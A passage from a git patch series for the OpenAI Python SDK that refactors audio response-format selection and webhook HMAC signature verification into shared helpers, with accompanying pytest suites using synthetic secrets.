`tests/lib/test_audio.py::test_translation_create_overloads_in_sync` and
`tests/lib/test_audio.py::test_transcription_create_overloads_in_sync`.
Validation:
- Command: `python -m pytest -n 0
tests/lib/test_audio_response_format.py tests/lib/test_audio.py
tests/api_resources/audio/test_transcriptions.py
tests/api_resources/audio/test_translations.py`
passed 245 tests under Pydantic v2 and 245 under Pydantic v1.
- `./scripts/format` and `./scripts/lint` passed, including Ruff,
Pyright,
mypy, and import checks. Unrelated formatter-only reporter edits are
excluded.
- `./scripts/build` passed; the wheel and source distribution both
contain
the new private helper.
- The public custom-code report verifies 41 mixed files, with only the
two
audio customizations changed and 39 others unchanged. Transcriptions
shrink
from +160/-53 to +145/-52; translations shrink from +155/-39 to
+143/-39.
`.castiron.stats.yml` is unchanged.
Command to reproduce the report from this branch:
```sh
$ python3 scripts/castiron/custom_code_report.py report \
--base 8edd9ae411f9d0a5385447a4697c9f7042868213 \
--head 676b9e7300e5743b6177e7188df0d6d63c3d977c \
--fetch --require-head-hash --public \
--out /tmp/castiron-audio-format-selection
```
---
src/openai/lib/_parsing/_audio.py | 57 +++++
src/openai/resources/audio/transcriptions.py | 22 +-
src/openai/resources/audio/translations.py | 20 +-
tests/lib/test_audio_response_format.py | 236 +++++++++++++++++++
4 files changed, 301 insertions(+), 34 deletions(-)
create mode 100644 src/openai/lib/_parsing/_audio.py
create mode 100644 tests/lib/test_audio_response_format.py
diff --git a/src/openai/lib/_parsing/_audio.py b/src/openai/lib/_parsing/_audio.py
new file mode 100644
index 0000000000..e97e088461
--- /dev/null
+++ b/src/openai/lib/_parsing/_audio.py
@@ -0,0 +1,57 @@
+from __future__ import annotations
+
+import logging
+from typing import TYPE_CHECKING
+from typing_extensions import assert_never
+
+from ..._types import Omit
+from ...types.audio.translation import Translation
+from ...types.audio.transcription import Transcription
+from ...types.audio_response_format import AudioResponseFormat
+from ...types.audio.translation_verbose import TranslationVerbose
+from ...types.audio.transcription_verbose import TranscriptionVerbose
+from ...types.audio.transcription_diarized import TranscriptionDiarized
+
+
+def get_transcription_response_format_type(
+ response_format: AudioResponseFormat | Omit,
+ *,
+ log: logging.Logger,
+) -> type[Transcription | TranscriptionVerbose | TranscriptionDiarized | str]:
+ if isinstance(response_format, Omit) or response_format is None: # pyright: ignore[reportUnnecessaryComparison]
+ return Transcription
+
+ if response_format == "json":
+ return Transcription
+ elif response_format == "verbose_json":
+ return TranscriptionVerbose
+ elif response_format == "diarized_json":
+ return TranscriptionDiarized
+ elif response_format == "srt" or response_format == "text" or response_format == "vtt":
+ return str
+ elif TYPE_CHECKING: # type: ignore[unreachable]
+ assert_never(response_format)
+ else:
+ log.warn("Unexpected audio response format: %s", response_format)
+ return Transcription
+
+
+def get_translation_response_format_type(
+ response_format: AudioResponseFormat | Omit,
+ *,
+ log: logging.Logger,
+) -> type[Translation | TranslationVerbose | str]:
+ if isinstance(response_format, Omit) or response_format is None: # pyright: ignore[reportUnnecessaryComparison]
+ return Translation
+
+ if response_format == "json":
+ return Translation
+ elif response_format == "verbose_json":
+ return TranslationVerbose
+ elif response_format == "srt" or response_format == "text" or response_format == "vtt":
+ return str
+ elif TYPE_CHECKING and response_format != "diarized_json": # type: ignore[unreachable]
+ assert_never(response_format)
+ else:
+ log.warning("Unexpected audio response format: %s", response_format)
+ return Translation
diff --git a/src/openai/resources/audio/transcriptions.py b/src/openai/resources/audio/transcriptions.py
index 80b7cbdcf6..7dd54f9f02 100644
--- a/src/openai/resources/audio/transcriptions.py
+++ b/src/openai/resources/audio/transcriptions.py
@@ -3,8 +3,8 @@
from __future__ import annotations
import logging
-from typing import TYPE_CHECKING, List, Union, Mapping, Optional, cast
-from typing_extensions import Literal, overload, assert_never
+from typing import List, Union, Mapping, Optional, cast
+from typing_extensions import Literal, overload
import httpx2
@@ -29,6 +29,7 @@
from ...types.audio import transcription_create_params
from ..._base_client import make_request_options
from ...types.audio_model import AudioModel
+from ...lib._parsing._audio import get_transcription_response_format_type as _get_transcription_response_format_type
from ...types.audio.transcription import Transcription
from ...types.audio_response_format import AudioResponseFormat
from ...types.audio.transcription_include import TranscriptionInclude
@@ -1078,19 +1079,4 @@ def __init__(self, transcriptions: AsyncTranscriptions) -> None:
def _get_response_format_type(
response_format: AudioResponseFormat | Omit,
) -> type[Transcription | TranscriptionVerbose | TranscriptionDiarized | str]:
- if isinstance(response_format, Omit) or response_format is None: # pyright: ignore[reportUnnecessaryComparison]
- return Transcription
-
- if response_format == "json":
- return Transcription
- elif response_format == "verbose_json":
- return TranscriptionVerbose
- elif response_format == "diarized_json":
- return TranscriptionDiarized
- elif response_format == "srt" or response_format == "text" or response_format == "vtt":
- return str
- elif TYPE_CHECKING: # type: ignore[unreachable]
- assert_never(response_format)
- else:
- log.warn("Unexpected audio response format: %s", response_format)
- return Transcription
+ return _get_transcription_response_format_type(response_format, log=log)
diff --git a/src/openai/resources/audio/translations.py b/src/openai/resources/audio/translations.py
index 60b746b5f2..c41ef1fd97 100644
--- a/src/openai/resources/audio/translations.py
+++ b/src/openai/resources/audio/translations.py
@@ -3,8 +3,8 @@
from __future__ import annotations
import logging
-from typing import TYPE_CHECKING, Union, Mapping, cast
-from typing_extensions import Literal, overload, assert_never
+from typing import Union, Mapping, cast
+from typing_extensions import Literal, overload
import httpx2
@@ -18,6 +18,7 @@
from ...types.audio import translation_create_params
from ..._base_client import make_request_options
from ...types.audio_model import AudioModel
+from ...lib._parsing._audio import get_translation_response_format_type as _get_translation_response_format_type
from ...types.audio.translation import Translation
from ...types.audio_response_format import AudioResponseFormat
from ...types.audio.translation_verbose import TranslationVerbose
@@ -370,17 +371,4 @@ def __init__(self, translations: AsyncTranslations) -> None:
def _get_response_format_type(
response_format: AudioResponseFormat | Omit,
) -> type[Translation | TranslationVerbose | str]:
- if isinstance(response_format, Omit) or response_format is None: # pyright: ignore[reportUnnecessaryComparison]
- return Translation
-
- if response_format == "json":
- return Translation
- elif response_format == "verbose_json":
- return TranslationVerbose
- elif response_format == "srt" or response_format == "text" or response_format == "vtt":
- return str
- elif TYPE_CHECKING and response_format != "diarized_json": # type: ignore[unreachable]
- assert_never(response_format)
- else:
- log.warning("Unexpected audio response format: %s", response_format)
- return Translation
+ return _get_translation_response_format_type(response_format, log=log)
diff --git a/tests/lib/test_audio_response_format.py b/tests/lib/test_audio_response_format.py
new file mode 100644
index 0000000000..b7e23dc00d
--- /dev/null
+++ b/tests/lib/test_audio_response_format.py
@@ -0,0 +1,236 @@
+from __future__ import annotations
+
+import logging
+from typing import Any, cast
+from unittest.mock import Mock
+from typing_extensions import Literal
+
+import httpx2
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.respx2 import MockRouter
+from openai._types import Omit, omit, not_given
+from openai.types.audio import (
+ Translation,
+ Transcription,
+ TranslationVerbose,
+ TranscriptionVerbose,
+ TranscriptionDiarized,
+ TranscriptionTextDeltaEvent,
+)
+from openai.resources.audio import translations, transcriptions
+from openai.types.audio_response_format import AudioResponseFormat
+
+AudioResource = Literal["transcriptions", "translations"]
+ResponseMode = Literal["normal", "raw", "streaming"]
+FORMAT_CASES = [
+ pytest.param("transcriptions", omit, Transcription, id="transcription-default"),
+ pytest.param("transcriptions", "json", Transcription, id="transcription-json"),
+ pytest.param("transcriptions", "verbose_json", TranscriptionVerbose, id="transcription-verbose"),
+ pytest.param("transcriptions", "diarized_json", TranscriptionDiarized, id="transcription-diarized"),
+ pytest.param("transcriptions", "text", str, id="transcription-text"),
+ pytest.param("transcriptions", "srt", str, id="transcription-srt"),
+ pytest.param("transcriptions", "vtt", str, id="transcription-vtt"),
+ pytest.param("translations", omit, Translation, id="translation-default"),
+ pytest.param("translations", "json", Translation, id="translation-json"),
+ pytest.param("translations", "verbose_json", TranslationVerbose, id="translation-verbose"),
+ pytest.param("translations", "text", str, id="translation-text"),
+ pytest.param("translations", "srt", str, id="translation-srt"),
+ pytest.param("translations", "vtt", str, id="translation-vtt"),
+]
+
+
+def select_response_type(resource: AudioResource, response_format: object) -> type[object]:
+ if resource == "transcriptions":
+ return transcriptions._get_response_format_type(cast(Any, response_format))
+ return translations._get_response_format_type(cast(Any, response_format))
+
+
+@pytest.mark.parametrize("resource,response_format,expected_type", FORMAT_CASES)
+def test_supported_formats_keep_exact_response_classes(
+ resource: AudioResource, response_format: AudioResponseFormat | Omit, expected_type: type[object]
+) -> None:
+ assert select_response_type(resource, response_format) is expected_type
+
+
+@pytest.mark.parametrize(
+ "resource,expected_type",
+ [("transcriptions", Transcription), ("translations", Translation)],
+)
+@pytest.mark.parametrize("response_format", [None, Omit()], ids=["none", "new-omit"])
+def test_default_compatibility_values(
+ resource: AudioResource, response_format: object, expected_type: type[object]
+) -> None:
+ assert select_response_type(resource, response_format) is expected_type
+
+
+@pytest.mark.parametrize(
+ "resource,response_format,expected_type",
+ [
+ ("transcriptions", "future-format", Transcription),
+ ("transcriptions", not_given, Transcription),
+ ("translations", "future-format", Translation),
+ ("translations", not_given, Translation),
+ ("translations", "diarized_json", Translation),
+ ],
+)
+def test_fallback_keeps_resource_logger_and_method(
+ resource: AudioResource, response_format: object, expected_type: type[object], monkeypatch: pytest.MonkeyPatch
+) -> None:
+ logger = Mock(spec=logging.Logger)
+ module = transcriptions if resource == "transcriptions" else translations
+ monkeypatch.setattr(module, "log", logger)
+
+ assert select_response_type(resource, response_format) is expected_type
+
+ if resource == "transcriptions":
+ logger.warn.assert_called_once_with("Unexpected audio response format: %s", response_format)
+ logger.warning.assert_not_called()
+ else:
+ logger.warning.assert_called_once_with("Unexpected audio response format: %s", response_format)
+ logger.warn.assert_not_called()
+
+
+def test_fallback_keeps_historical_logger_name_and_warning(caplog: pytest.LogCaptureFixture) -> None:
+ logger = logging.getLogger("openai.audio.transcriptions")
+ assert transcriptions.log is logger
+ assert translations.log is logger
+
+ with pytest.warns(DeprecationWarning, match="deprecated"):
+ assert select_response_type("transcriptions", "future-format") is Transcription
+ assert select_response_type("translations", "future-format") is Translation
+
+ records = [record for record in caplog.records if record.name == logger.name]
+ assert [(record.levelno, record.getMessage()) for record in records] == [
+ (logging.WARNING, "Unexpected audio response format: future-format"),
+ (logging.WARNING, "Unexpected audio response format: future-format"),
+ ]
+
+
+def make_response(expected_type: type[object]) -> httpx2.Response:
+ if expected_type is str:
+ return httpx2.Response(200, text="test transcript")
+ return httpx2.Response(
+ 200,
+ json={
+ "text": "test transcript",
+ "duration": 1.0,
+ "language": "english",
+ "segments": [],
+ "task": "transcribe",
+ },
+ )
+
+
+def assert_request_and_response(
+ request: httpx2.Request,
+ response: object,
+ response_format: AudioResponseFormat | Omit,
+ expected_type: type[object],
+) -> None:
+ assert type(response) is expected_type
+ assert request.headers["content-type"].startswith("multipart/form-data; boundary=")
+ if isinstance(response_format, Omit):
+ assert b'name="response_format"' not in request.content
+ else:
+ assert f'name="response_format"\r\n\r\n{response_format}\r\n'.encode() in request.content
+
+
+@pytest.mark.respx2()
+@pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+@pytest.mark.parametrize("resource,response_format,expected_type", FORMAT_CASES)
+@pytest.mark.parametrize("mode", ["normal", "raw", "streaming"])
+def test_sync_create_uses_selected_response_class(
+ client: OpenAI,
+ respx2_mock: MockRouter,
+ resource: AudioResource,
+ response_format: AudioResponseFormat | Omit,
+ expected_type: type[object],
+ mode: ResponseMode,
+) -> None:
+ route = respx2_mock.post(f"{str(client.base_url).rstrip('/')}/audio/{resource}").mock(
+ return_value=make_response(expected_type)
+ )
+ audio = cast(Any, client.audio.transcriptions if resource == "transcriptions" else client.audio.translations)
+ kwargs: dict[str, Any] = {"file": b"fake audio", "model": "whisper-1", "response_format": response_format}
+
+ if mode == "normal":
+ response = audio.create(**kwargs)
+ elif mode == "raw":
+ response = audio.with_raw_response.create(**kwargs).parse()
+ else:
+ with audio.with_streaming_response.create(**kwargs) as raw_response:
+ response = raw_response.parse()
+
+ assert route.call_count == 1
+ assert_request_and_response(route.calls.last.request, response, response_format, expected_type)
+
+
+@pytest.mark.respx2()
+@pytest.mark.parametrize("async_client", [False, True], indirect=True, ids=["loose", "strict"])
+@pytest.mark.parametrize("resource,response_format,expected_type", FORMAT_CASES)
+@pytest.mark.parametrize("mode", ["normal", "raw", "streaming"])
+async def test_async_create_uses_selected_response_class(
+ async_client: AsyncOpenAI,
+ respx2_mock: MockRouter,
+ resource: AudioResource,
+ response_format: AudioResponseFormat | Omit,
+ expected_type: type[object],
+ mode: ResponseMode,
+) -> None:
+ route = respx2_mock.post(f"{str(async_client.base_url).rstrip('/')}/audio/{resource}").mock(
+ return_value=make_response(expected_type)
+ )
+ audio = cast(
+ Any, async_client.audio.transcriptions if resource == "transcriptions" else async_client.audio.translations
+ )
+ kwargs: dict[str, Any] = {"file": b"fake audio", "model": "whisper-1", "response_format": response_format}
+
+ if mode == "normal":
+ response = await audio.create(**kwargs)
+ elif mode == "raw":
+ response = (await audio.with_raw_response.create(**kwargs)).parse()
+ else:
+ async with audio.with_streaming_response.create(**kwargs) as raw_response:
+ response = await raw_response.parse()
+
+ assert route.call_count == 1
+ assert_request_and_response(route.calls.last.request, response, response_format, expected_type)
+
+
+STREAM_BODY = 'event: transcript.text.delta\ndata: {"type":"transcript.text.delta","delta":"hello"}\n\ndata: [DONE]\n\n'
+
+
+@pytest.mark.respx2()
+def test_sync_transcription_stream_still_yields_events(client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.post(f"{str(client.base_url).rstrip('/')}/audio/transcriptions").mock(
+ return_value=httpx2.Response(200, content=STREAM_BODY, headers={"content-type": "text/event-stream"})
+ )
+
+ with client.audio.transcriptions.create(
+ file=b"fake audio", model="gpt-4o-transcribe", response_format="json", stream=True
+ ) as stream:
+ events = list(stream)
+
+ assert len(events) == 1
+ assert isinstance(events[0], TranscriptionTextDeltaEvent)
+ assert events[0].delta == "hello"
+
+
+@pytest.mark.respx2()
+async def test_async_transcription_stream_still_yields_events(
+ async_client: AsyncOpenAI, respx2_mock: MockRouter
+) -> None:
+ respx2_mock.post(f"{str(async_client.base_url).rstrip('/')}/audio/transcriptions").mock(
+ return_value=httpx2.Response(200, content=STREAM_BODY, headers={"content-type": "text/event-stream"})
+ )
+
+ async with await async_client.audio.transcriptions.create(
+ file=b"fake audio", model="gpt-4o-transcribe", response_format="json", stream=True
+ ) as stream:
+ events = [event async for event in stream]
+
+ assert len(events) == 1
+ assert isinstance(events[0], TranscriptionTextDeltaEvent)
+ assert events[0].delta == "hello"
From e14ac34376efa5260ef9ef82b939f451f6f9a66a Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Fri, 21 Aug 2026 00:59:13 +0000
Subject: [PATCH 060/341] refactor(api): share webhook signature verification
(#3704)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
Move the identical webhook header/timestamp/HMAC verification core into
the
SDK-owned `lib/_webhooks.py` module. The public sync and async wrappers
retain
their signatures, client-secret fallback, mismatch errors, and their
existing
exception-chaining differences. Both `unwrap` methods are unchanged.
The helper keeps the same replay-window checks, secret decoding, signed
bytes,
signature order, and `hmac.compare_digest` calls. This is a
behavior-preserving
extraction, not a change to accepted signatures or verification policy.
Generation metadata, dependencies, workflows, and the API reference are
unchanged.
The verified custom-code report keeps 40 mixed files and changes only
the
webhook resource's patch: **+179/-3 → +89/-3**. The other 39
customizations are
unchanged.
## Additional context & links
Please get SDK CODEOWNER review for this verification-boundary change.
The existing 71 cases remain unchanged in
[`tests/lib/test_webhooks.py::TestWebhooks`](https://github.com/openai/openai-python/blob/ece4324da0b96f848b48bdef090a372ff0a1db26/tests/lib/test_webhooks.py#L32)
and
[`tests/lib/test_webhooks.py::TestAsyncWebhooks`](https://github.com/openai/openai-python/blob/ece4324da0b96f848b48bdef090a372ff0a1db26/tests/lib/test_webhooks.py#L170).
The new
[`tests/lib/test_webhook_signature.py`](https://github.com/openai/openai-python/blob/35d955800683b814490c7a583b91611c30df9a71/tests/lib/test_webhook_signature.py)
adds 87 cases for raw/prefixed/empty secrets, text/bytes payloads,
replay-window
boundaries, exact timestamp text, header order, malformed inputs, and
constant-time comparison order. In particular,
[`test_missing_secret_preserves_wrapper_exception_chaining`](https://github.com/openai/openai-python/blob/35d955800683b814490c7a583b91611c30df9a71/tests/lib/test_webhook_signature.py#L146)
and
[`test_mismatch_preserves_wrapper_exception_chaining`](https://github.com/openai/openai-python/blob/35d955800683b814490c7a583b91611c30df9a71/tests/lib/test_webhook_signature.py#L161)
pin the existing sync/async differences.
Validation: exact-source/AST preservation check; `./scripts/format`;
`./scripts/lint` (Ruff, Pyright, mypy, import); wheel and sdist builds
with the
new helper included; **158 tests passed under Pydantic v2 and 158 under
v1**.
---
src/openai/lib/_webhooks.py | 64 +++++++
src/openai/resources/webhooks/webhooks.py | 96 +---------
tests/lib/test_webhook_signature.py | 211 ++++++++++++++++++++++
3 files changed, 278 insertions(+), 93 deletions(-)
create mode 100644 src/openai/lib/_webhooks.py
create mode 100644 tests/lib/test_webhook_signature.py
diff --git a/src/openai/lib/_webhooks.py b/src/openai/lib/_webhooks.py
new file mode 100644
index 0000000000..a5cb547bc3
--- /dev/null
+++ b/src/openai/lib/_webhooks.py
@@ -0,0 +1,64 @@
+from __future__ import annotations
+
+import hmac
+import time
+import base64
+import hashlib
+
+from .._types import HeadersLike
+from .._utils import get_required_header
+from .._exceptions import InvalidWebhookSignatureError
+
+
+def webhook_signature_matches(
+ payload: str | bytes,
+ headers: HeadersLike,
+ *,
+ secret: str,
+ tolerance: int,
+) -> bool:
+ """Validate the replay window and compare the supplied signatures."""
+ signature_header = get_required_header(headers, "webhook-signature")
+ timestamp = get_required_header(headers, "webhook-timestamp")
+ webhook_id = get_required_header(headers, "webhook-id")
+
+ # Validate timestamp to prevent replay attacks
+ try:
+ timestamp_seconds = int(timestamp)
+ except ValueError:
+ raise InvalidWebhookSignatureError("Invalid webhook timestamp format") from None
+
+ now = int(time.time())
+
+ if now - timestamp_seconds > tolerance:
+ raise InvalidWebhookSignatureError("Webhook timestamp is too old") from None
+
+ if timestamp_seconds > now + tolerance:
+ raise InvalidWebhookSignatureError("Webhook timestamp is too new") from None
+
+ # Extract signatures from v1, format
+ # The signature header can have multiple values, separated by spaces.
+ # Each value is in the format v1,. We should accept if any match.
+ signatures: list[str] = []
+ for part in signature_header.split():
+ if part.startswith("v1,"):
+ signatures.append(part[3:])
+ else:
+ signatures.append(part)
+
+ # Decode the secret if it starts with whsec_
+ if secret.startswith("whsec_"):
+ decoded_secret = base64.b64decode(secret[6:])
+ else:
+ decoded_secret = secret.encode()
+
+ body = payload.decode("utf-8") if isinstance(payload, bytes) else payload
+
+ # Prepare the signed payload (OpenAI uses webhookId.timestamp.payload format)
+ signed_payload = f"{webhook_id}.{timestamp}.{body}"
+ expected_signature = base64.b64encode(
+ hmac.new(decoded_secret, signed_payload.encode(), hashlib.sha256).digest()
+ ).decode()
+
+ # Accept if any signature matches
+ return any(hmac.compare_digest(expected_signature, sig) for sig in signatures)
diff --git a/src/openai/resources/webhooks/webhooks.py b/src/openai/resources/webhooks/webhooks.py
index 9a6e2ae42a..8080ce875f 100644
--- a/src/openai/resources/webhooks/webhooks.py
+++ b/src/openai/resources/webhooks/webhooks.py
@@ -2,18 +2,14 @@
from __future__ import annotations
-import hmac
import json
-import time
-import base64
-import hashlib
from typing import cast
from ..._types import HeadersLike
-from ..._utils import get_required_header
from ..._models import construct_type
from ..._resource import SyncAPIResource, AsyncAPIResource
from ..._exceptions import InvalidWebhookSignatureError
+from ...lib._webhooks import webhook_signature_matches as _webhook_signature_matches
from ...types.webhooks.unwrap_webhook_event import UnwrapWebhookEvent
__all__ = ["Webhooks", "AsyncWebhooks"]
@@ -66,50 +62,7 @@ def verify_signature(
"on the client class, OpenAI(webhook_secret='123'), or passed to this function"
)
- signature_header = get_required_header(headers, "webhook-signature")
- timestamp = get_required_header(headers, "webhook-timestamp")
- webhook_id = get_required_header(headers, "webhook-id")
-
- # Validate timestamp to prevent replay attacks
- try:
- timestamp_seconds = int(timestamp)
- except ValueError:
- raise InvalidWebhookSignatureError("Invalid webhook timestamp format") from None
-
- now = int(time.time())
-
- if now - timestamp_seconds > tolerance:
- raise InvalidWebhookSignatureError("Webhook timestamp is too old") from None
-
- if timestamp_seconds > now + tolerance:
- raise InvalidWebhookSignatureError("Webhook timestamp is too new") from None
-
- # Extract signatures from v1, format
- # The signature header can have multiple values, separated by spaces.
- # Each value is in the format v1,. We should accept if any match.
- signatures: list[str] = []
- for part in signature_header.split():
- if part.startswith("v1,"):
- signatures.append(part[3:])
- else:
- signatures.append(part)
-
- # Decode the secret if it starts with whsec_
- if secret.startswith("whsec_"):
- decoded_secret = base64.b64decode(secret[6:])
- else:
- decoded_secret = secret.encode()
-
- body = payload.decode("utf-8") if isinstance(payload, bytes) else payload
-
- # Prepare the signed payload (OpenAI uses webhookId.timestamp.payload format)
- signed_payload = f"{webhook_id}.{timestamp}.{body}"
- expected_signature = base64.b64encode(
- hmac.new(decoded_secret, signed_payload.encode(), hashlib.sha256).digest()
- ).decode()
-
- # Accept if any signature matches
- if not any(hmac.compare_digest(expected_signature, sig) for sig in signatures):
+ if not _webhook_signature_matches(payload, headers, secret=secret, tolerance=tolerance):
raise InvalidWebhookSignatureError(
"The given webhook signature does not match the expected signature"
) from None
@@ -163,48 +116,5 @@ def verify_signature(
"on the client class, OpenAI(webhook_secret='123'), or passed to this function"
) from None
- signature_header = get_required_header(headers, "webhook-signature")
- timestamp = get_required_header(headers, "webhook-timestamp")
- webhook_id = get_required_header(headers, "webhook-id")
-
- # Validate timestamp to prevent replay attacks
- try:
- timestamp_seconds = int(timestamp)
- except ValueError:
- raise InvalidWebhookSignatureError("Invalid webhook timestamp format") from None
-
- now = int(time.time())
-
- if now - timestamp_seconds > tolerance:
- raise InvalidWebhookSignatureError("Webhook timestamp is too old") from None
-
- if timestamp_seconds > now + tolerance:
- raise InvalidWebhookSignatureError("Webhook timestamp is too new") from None
-
- # Extract signatures from v1, format
- # The signature header can have multiple values, separated by spaces.
- # Each value is in the format v1,. We should accept if any match.
- signatures: list[str] = []
- for part in signature_header.split():
- if part.startswith("v1,"):
- signatures.append(part[3:])
- else:
- signatures.append(part)
-
- # Decode the secret if it starts with whsec_
- if secret.startswith("whsec_"):
- decoded_secret = base64.b64decode(secret[6:])
- else:
- decoded_secret = secret.encode()
-
- body = payload.decode("utf-8") if isinstance(payload, bytes) else payload
-
- # Prepare the signed payload (OpenAI uses webhookId.timestamp.payload format)
- signed_payload = f"{webhook_id}.{timestamp}.{body}"
- expected_signature = base64.b64encode(
- hmac.new(decoded_secret, signed_payload.encode(), hashlib.sha256).digest()
- ).decode()
-
- # Accept if any signature matches
- if not any(hmac.compare_digest(expected_signature, sig) for sig in signatures):
+ if not _webhook_signature_matches(payload, headers, secret=secret, tolerance=tolerance):
raise InvalidWebhookSignatureError("The given webhook signature does not match the expected signature")
diff --git a/tests/lib/test_webhook_signature.py b/tests/lib/test_webhook_signature.py
new file mode 100644
index 0000000000..5ba9724162
--- /dev/null
+++ b/tests/lib/test_webhook_signature.py
@@ -0,0 +1,211 @@
+from __future__ import annotations
+
+import hmac
+import base64
+import hashlib
+import binascii
+from typing import Iterator, cast
+from unittest import mock
+
+import pytest
+
+import openai
+from openai._exceptions import InvalidWebhookSignatureError
+from openai.lib._webhooks import webhook_signature_matches
+from openai.resources.webhooks.webhooks import Webhooks, AsyncWebhooks
+
+NOW = 1_750_000_000
+PAYLOAD = '{"synthetic": "café"}'
+WEBHOOK_ID = "evt_synthetic"
+RAW_SECRET = "synthetic-webhook-secret"
+PREFIXED_SECRET = "whsec_" + base64.b64encode(RAW_SECRET.encode()).decode()
+
+
+def signed_headers(
+ payload: str | bytes = PAYLOAD,
+ *,
+ timestamp: str = str(NOW),
+ secret: bytes = RAW_SECRET.encode(),
+) -> dict[str, str]:
+ body = payload.encode() if isinstance(payload, str) else payload
+ signed = f"{WEBHOOK_ID}.{timestamp}.".encode() + body
+ signature = base64.b64encode(hmac.new(secret, signed, hashlib.sha256).digest()).decode()
+ return {
+ "webhook-id": WEBHOOK_ID,
+ "webhook-timestamp": timestamp,
+ "webhook-signature": f"v1,{signature}",
+ }
+
+
+@pytest.fixture(autouse=True)
+def frozen_time() -> Iterator[None]:
+ with mock.patch("time.time", return_value=NOW):
+ yield
+
+
+@pytest.fixture(params=["sync", "async"])
+def webhook_resource(request: pytest.FixtureRequest) -> Webhooks | AsyncWebhooks:
+ client = mock.Mock()
+ client.webhook_secret = None
+ if request.param == "sync":
+ return Webhooks(cast(openai.OpenAI, client))
+ return AsyncWebhooks(cast(openai.AsyncOpenAI, client))
+
+
+@pytest.mark.parametrize(
+ ("secret", "key"),
+ [(RAW_SECRET, RAW_SECRET.encode()), (PREFIXED_SECRET, RAW_SECRET.encode()), ("", b"")],
+ ids=["raw", "prefixed", "empty"],
+)
+@pytest.mark.parametrize("payload", [PAYLOAD, PAYLOAD.encode()], ids=["text", "bytes"])
+@pytest.mark.parametrize("signature_form", ["prefixed", "bare", "multiple"])
+def test_signature_forms_and_secret_encodings(
+ webhook_resource: Webhooks | AsyncWebhooks,
+ secret: str,
+ key: bytes,
+ payload: str | bytes,
+ signature_form: str,
+) -> None:
+ headers = signed_headers(payload, secret=key)
+ signature = headers["webhook-signature"][3:]
+ if signature_form == "bare":
+ headers["webhook-signature"] = signature
+ elif signature_form == "multiple":
+ headers["webhook-signature"] = f"v1,invalid\t{signature} v1,also-invalid"
+ headers = {name.upper(): value for name, value in headers.items()}
+
+ assert webhook_signature_matches(payload, headers, secret=secret, tolerance=300)
+ assert webhook_resource.verify_signature(payload, headers, secret=secret) is None
+
+
+@pytest.mark.parametrize(
+ ("delta", "tolerance", "error"),
+ [
+ (0, 0, None),
+ (-300, 300, None),
+ (300, 300, None),
+ (-301, 300, "Webhook timestamp is too old"),
+ (301, 300, "Webhook timestamp is too new"),
+ (-1, 0, "Webhook timestamp is too old"),
+ (1, 0, "Webhook timestamp is too new"),
+ (0, -1, "Webhook timestamp is too old"),
+ ],
+)
+def test_replay_window_boundaries(
+ webhook_resource: Webhooks | AsyncWebhooks,
+ delta: int,
+ tolerance: int,
+ error: str | None,
+) -> None:
+ headers = signed_headers(timestamp=str(NOW + delta))
+ if error is None:
+ webhook_resource.verify_signature(PAYLOAD, headers, secret=RAW_SECRET, tolerance=tolerance)
+ else:
+ with pytest.raises(InvalidWebhookSignatureError, match=error) as caught:
+ webhook_resource.verify_signature(PAYLOAD, headers, secret=RAW_SECRET, tolerance=tolerance)
+ assert caught.value.__cause__ is None
+ assert caught.value.__suppress_context__
+
+
+@pytest.mark.parametrize("timestamp", [f"0{NOW}", f"+{NOW}", f" {NOW} "])
+def test_signature_uses_original_timestamp_text(webhook_resource: Webhooks | AsyncWebhooks, timestamp: str) -> None:
+ webhook_resource.verify_signature(PAYLOAD, signed_headers(timestamp=timestamp), secret=RAW_SECRET)
+
+
+@pytest.mark.parametrize("timestamp", ["", "not-a-timestamp", "1.5"])
+def test_invalid_timestamp_exception(webhook_resource: Webhooks | AsyncWebhooks, timestamp: str) -> None:
+ with pytest.raises(InvalidWebhookSignatureError, match="Invalid webhook timestamp format") as caught:
+ webhook_resource.verify_signature(PAYLOAD, signed_headers(timestamp=timestamp), secret=RAW_SECRET)
+ assert caught.value.__cause__ is None
+ assert caught.value.__suppress_context__
+
+
+@pytest.mark.parametrize(
+ ("headers", "missing"),
+ [
+ ({}, "webhook-signature"),
+ ({"webhook-signature": "invalid"}, "webhook-timestamp"),
+ ({"webhook-signature": "invalid", "webhook-timestamp": str(NOW)}, "webhook-id"),
+ ],
+)
+def test_required_header_order(
+ webhook_resource: Webhooks | AsyncWebhooks, headers: dict[str, str], missing: str
+) -> None:
+ with pytest.raises(ValueError, match=f"Could not find {missing} header"):
+ webhook_resource.verify_signature(PAYLOAD, headers, secret=RAW_SECRET)
+
+
+def test_client_secret_fallback_preserves_explicit_empty_secret(
+ webhook_resource: Webhooks | AsyncWebhooks,
+) -> None:
+ webhook_resource._client.webhook_secret = PREFIXED_SECRET
+ webhook_resource.verify_signature(PAYLOAD, signed_headers())
+ webhook_resource.verify_signature(PAYLOAD, signed_headers(secret=b""), secret="")
+
+
+def test_missing_secret_preserves_wrapper_exception_chaining(
+ webhook_resource: Webhooks | AsyncWebhooks,
+) -> None:
+ previous = RuntimeError("synthetic prior failure")
+ try:
+ raise previous
+ except RuntimeError:
+ with pytest.raises(ValueError, match="The webhook secret must either be set") as caught:
+ webhook_resource.verify_signature(PAYLOAD, {})
+
+ assert caught.value.__context__ is previous
+ assert caught.value.__cause__ is None
+ assert caught.value.__suppress_context__ is isinstance(webhook_resource, AsyncWebhooks)
+
+
+def test_mismatch_preserves_wrapper_exception_chaining(
+ webhook_resource: Webhooks | AsyncWebhooks,
+) -> None:
+ headers = signed_headers()
+ headers["webhook-signature"] = "v1,synthetic-invalid-signature"
+ previous = RuntimeError("synthetic prior failure")
+ try:
+ raise previous
+ except RuntimeError:
+ with pytest.raises(InvalidWebhookSignatureError, match="does not match the expected signature") as caught:
+ webhook_resource.verify_signature(PAYLOAD, headers, secret=RAW_SECRET)
+
+ assert caught.value.__context__ is previous
+ assert caught.value.__cause__ is None
+ assert caught.value.__suppress_context__ is (not isinstance(webhook_resource, AsyncWebhooks))
+ assert RAW_SECRET not in str(caught.value)
+ assert PAYLOAD not in str(caught.value)
+ assert headers["webhook-signature"] not in str(caught.value)
+
+
+def test_malformed_secret_keeps_base64_error(webhook_resource: Webhooks | AsyncWebhooks) -> None:
+ with pytest.raises(binascii.Error):
